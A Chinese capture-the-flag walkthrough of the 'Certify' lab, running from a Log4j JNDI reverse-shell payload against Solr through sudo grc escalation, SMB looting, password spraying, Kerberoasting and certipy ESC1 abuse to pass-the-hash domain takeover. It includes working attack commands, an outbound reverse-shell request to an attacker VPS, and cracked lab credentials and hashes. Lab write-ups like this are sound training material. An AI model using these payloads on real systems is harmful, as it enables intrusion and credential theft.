春秋云境·Certify
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内网渗透

842 字
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11 分钟

考点：

  • log4j2 jndi
  • grc提权
  • SMB
  • 密码喷洒
  • spn
  • ESC1

给的ip访问了没服务，fscan启动

fscan64.exe -h 39.99.154.173

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.2
start infoscan
(icmp) Target 39.99.154.173   is alive
[*] Icmp alive hosts len is: 1
39.99.154.173:22 open
39.99.154.173:80 open
39.99.154.173:8983 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle: http://39.99.154.173      code:200 len:612    title:Welcome to nginx!
已完成 3/3
[*] 扫描结束,耗时: 1m24.5247609s

看到有个8983，访问上去是一个solar服务，并且依赖里用了log4j

试了下log4j，发现能外带请求，所以确实有洞

http://39.99.154.173:8983/solr/admin/collections?action=${jndi:ldap://941chl.dnslog.cn}

用JNDIExploit直接开梭

在自己vps上起一个ldap服务

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i VPS_IP

然后弹shell的payload为

GET /solr/admin/collections?action=${jndi:ldap://VPS_IP:1389/Basic/ReverseShell/VPS_IP/9383} HTTP/1.1
Host: 39.99.154.173:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

上去之后没找到flag，而且权限很低，创建文件啥的都不行，说明要提权。suid没找到，不过sudo -l找到了grc命令

https://gtfobins.github.io/gtfobins/grc/

sudo grc然后后面跟想要执行的命令即可

sudo grc cat /root/flag01.txt

接着wget一下需要的软件然后扫内网建代理

solr@ubuntu:/home$ sudo grc ./fscan -h 172.22.9.19/24
sudo grc ./fscan -h 172.22.9.19/24

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.2
start infoscan
(icmp) Target 172.22.9.19     is alive
(icmp) Target 172.22.9.7      is alive
(icmp) Target 172.22.9.26     is alive
(icmp) Target 172.22.9.47     is alive
[*] Icmp alive hosts len is: 4
172.22.9.7:135 open
172.22.9.26:135 open
172.22.9.7:139 open
172.22.9.26:139 open
172.22.9.47:80 open
172.22.9.7:80 open
172.22.9.19:80 open
172.22.9.19:22 open
172.22.9.47:21 open
172.22.9.47:22 open
172.22.9.7:445 open
172.22.9.47:139 open
172.22.9.47:445 open
172.22.9.26:445 open
172.22.9.7:88 open
172.22.9.19:8983 open
[*] alive ports len is: 16
start vulscan
[*] NetInfo:
[*]172.22.9.7
   [->]XIAORANG-DC
   [->]172.22.9.7
[*] WebTitle: http://172.22.9.19        code:200 len:612    title:Welcome to nginx!
[*] NetInfo:
[*]172.22.9.26
   [->]DESKTOP-CBKTVMO
   [->]172.22.9.26
[*] WebTitle: http://172.22.9.7         code:200 len:703    title:IIS Windows Server
[*] WebTitle: http://172.22.9.47        code:200 len:10918  title:Apache2 Ubuntu Default Page: It works
[*] NetBios: 172.22.9.7      [+]DC XIAORANG\XIAORANG-DC     
[*] NetBios: 172.22.9.26     DESKTOP-CBKTVMO.xiaorang.lab        Windows Server 2016 Datacenter 14393 
[*] WebTitle: http://172.22.9.19:8983   code:302 len:0      title:None 跳转url: http://172.22.9.19:8983/solr/
[*] NetBios: 172.22.9.47     fileserver                          Windows 6.1 
[*] 172.22.9.47  (Windows 6.1)
[*] WebTitle: http://172.22.9.19:8983/solr/ code:200 len:16555  title:Solr Admin
[+] http://172.22.9.7 poc-yaml-active-directory-certsrv-detect
172.22.9.7 XIAORANG-DC
172.22.9.19 已拿下
172.22.9.26 DESKTOP-CBKTVMO
172.22.9.47 fileserver

因为这个题题目考点那儿写了个SMB，估计是有SMB服务，那肯定是fileserver这台ubuntu上存在(fscan扫不出来但是nmap是扫的出来的)，用smbclient连了一下果然连上去了

proxychains python3 smbclient.py 172.22.9.47

然后在secret目录获得flag

接着回根目录用get personnel.db下一下这个数据库，看了一下有个user表里有密码但没用户名

又有一个表有一堆用户名

显然是想我们用密码喷洒一下，最有可能成功的就是172.22.9.26这台windows主机了

proxychains4 hydra -L user.txt -P pass.txt 172.22.9.26 rdp >>result.txt
cat result.txt|| grep account

最后有效的为

zhangjian:i9XDE02pLVf
liupeng:fiAzGwEMgTY

但俩都rdp不上去，回想提示说了个spn，试试查找下域用户下的spn

proxychains4 python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf

得到了chenchen和zhangxia的密码哈希，hashcat爆一下

hashcat -m 13100 -a 0 1.txt /usr/share/wordlists/rockyou.txt --force

zhangxia:MyPass2@@6
chenchen:@Passw0rd@

这俩账户终于能rdp上去了，但是flag在管理员目录下，还是拿不到。回看题目考点里说了个AD CS，估计是要拿那台CA通过什么证书利用拿域控，先枚举一下有哪些证书

proxychains certipy find -u 'liupeng@xiaorang.lab'  -password 'fiAzGwEMgTY' -dc-ip 172.22.9.7 -vulnerable -stdout

Certificate Authorities
  0
    CA Name                             : xiaorang-XIAORANG-DC-CA
    DNS Name                            : XIAORANG-DC.xiaorang.lab
    Certificate Subject                 : CN=xiaorang-XIAORANG-DC-CA, DC=xiaorang, DC=lab
    Certificate Serial Number           : 43A73F4A37050EAA4E29C0D95BC84BB5
    Certificate Validity Start          : 2023-07-14 04:33:21+00:00
    Certificate Validity End            : 2028-07-14 04:43:21+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Unknown
    Request Disposition                 : Unknown
    Enforce Encryption for Requests     : Unknown
Certificate Templates
  0
    Template Name                       : XR Manager
    Display Name                        : XR Manager
    Certificate Authorities             : xiaorang-XIAORANG-DC-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : PublishToDs
                                          IncludeSymmetricAlgorithms
    Private Key Flag                    : 16777216
                                          65536
                                          ExportableKey
    Extended Key Usage                  : Encrypting File System
                                          Secure Email
                                          Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : XIAORANG.LAB\Domain Admins
                                          XIAORANG.LAB\Domain Users
                                          XIAORANG.LAB\Enterprise Admins
                                          XIAORANG.LAB\Authenticated Users
      Object Control Permissions
        Owner                           : XIAORANG.LAB\Administrator
        Write Owner Principals          : XIAORANG.LAB\Domain Admins
                                          XIAORANG.LAB\Enterprise Admins
                                          XIAORANG.LAB\Administrator
        Write Dacl Principals           : XIAORANG.LAB\Domain Admins
                                          XIAORANG.LAB\Enterprise Admins
                                          XIAORANG.LAB\Administrator
        Write Property Principals       : XIAORANG.LAB\Domain Admins
                                          XIAORANG.LAB\Enterprise Admins
                                          XIAORANG.LAB\Administrator
    [!] Vulnerabilities
      ESC1                              : 'XIAORANG.LAB\\Domain Users' and 'XIAORANG.LAB\\Authenticated Users' can enroll, enrollee supplies subject and template allows client authentication

直接就扫出来有ESC1了，一眼丁真了属于是，照着别人的文章直接开打：ADCS攻击之证书模板配置错误 ESC1。和他那个演示不一样的就是我们这里用的Certificate Templates是XR Manager以及ca是xiaorang-XIAORANG-DC-CA，其他都差不多，直接开打。

这里注意改一下host，没改host连接会超时，我反正把域里这两台都加上去了(最后两条)

首先利用XR Manager模板为域管请求证书

proxychains certipy req -u 'liupeng@xiaorang.lab' -p 'fiAzGwEMgTY' -target 172.22.9.7 -dc-ip 172.22.9.7 -ca "xiaorang-XIAORANG-DC-CA" -template 'XR Manager'  -upn administrator@xiaorang.lab

接着转换格式，请求TGT，DCSync或者PTT

proxychains certipy auth -pfx administrator.pfx -dc-ip 172.22.9.7

拿到域管哈希，pth一下即可

proxychains python3 wmiexec.py -hashes :2f1b57eefb2d152196836b0516abea80 Administrator@172.22.9.7 -codec gbk

proxychains python3 wmiexec.py -hashes :2f1b57eefb2d152196836b0516abea80 xiaorang.lab/Administrator@172.22.9.26 -codec gbk
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